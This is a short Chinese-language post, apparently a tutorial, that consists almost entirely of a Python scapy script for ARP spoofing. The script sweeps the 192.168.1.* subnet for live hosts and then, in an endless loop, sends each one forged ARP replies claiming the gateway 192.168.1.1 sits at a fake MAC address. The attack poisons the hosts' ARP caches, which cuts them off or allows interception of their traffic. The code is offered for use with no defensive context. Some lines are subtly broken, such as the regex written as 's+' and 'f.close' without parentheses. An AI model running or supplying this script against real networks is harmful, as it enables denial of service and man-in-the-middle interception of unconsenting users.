python使用arp欺骗伪造网关的方法

#coding:utf-8
'''
arp欺域网pc，将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
 #伪造来自网关的arp应答
 t=p
 t.hwdst=hw
 t.pdst=ip
 send(t)
def get_host():
 #得到在线主机的mac地址和对应ip地址 
 hw_ip = {}
 sys.stdout = open('host.info','w')
 arping(IPADDR)
 sys.stdout = stdout
 f = open('host.info','r')
 info = f.readlines()
 f.close
 del info[0]
 del info[0]
 for host in info :
 temp = re.split(r's+',host)
 hw_ip[temp[1]] = temp[2]
 return hw_ip
if __name__ == "__main__":
 hw_ip = get_host()
 while 1 :
 for i in hw_ip :
 arp_hack(hw=i,ip=hw_ip[i])